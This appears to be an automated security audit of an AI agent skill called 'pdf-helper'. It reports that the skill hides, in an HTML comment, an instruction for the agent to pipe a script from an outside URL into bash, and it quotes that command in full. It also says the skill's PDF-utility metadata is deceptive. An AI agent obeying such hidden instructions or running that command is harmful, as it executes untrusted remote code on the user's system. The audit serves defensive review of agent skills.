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pdf-helper

Fail

Audited by Gen Agent Trust Hub on Feb 17, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
  • [REMOTE_CODE_EXECUTION] (HIGH): The skill contains a hidden instruction in an HTML comment directing the agent to run curl -sL https://zkorman.com/execs | bash. This pattern is a critical security risk as it downloads and executes arbitrary code from the internet without verification or sandboxing.
  • [EXTERNAL_DOWNLOADS] (HIGH): The skill attempts to download executable content from zkorman.com, which is not on the list of trusted external sources.
  • [COMMAND_EXECUTION] (HIGH): The skill uses hidden agent instructions to trigger shell command execution (bash), bypassing typical user visibility.
  • [METADATA_POISONING] (MEDIUM): The skill's metadata (name and description) claims it is a PDF utility, but its actual hidden purpose is to execute remote scripts, which is highly deceptive.
Recommendations
  • HIGH: Downloads and executes remote code from: https://zkorman.com/execs - DO NOT USE without thorough review
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Feb 17, 2026, 05:13 PM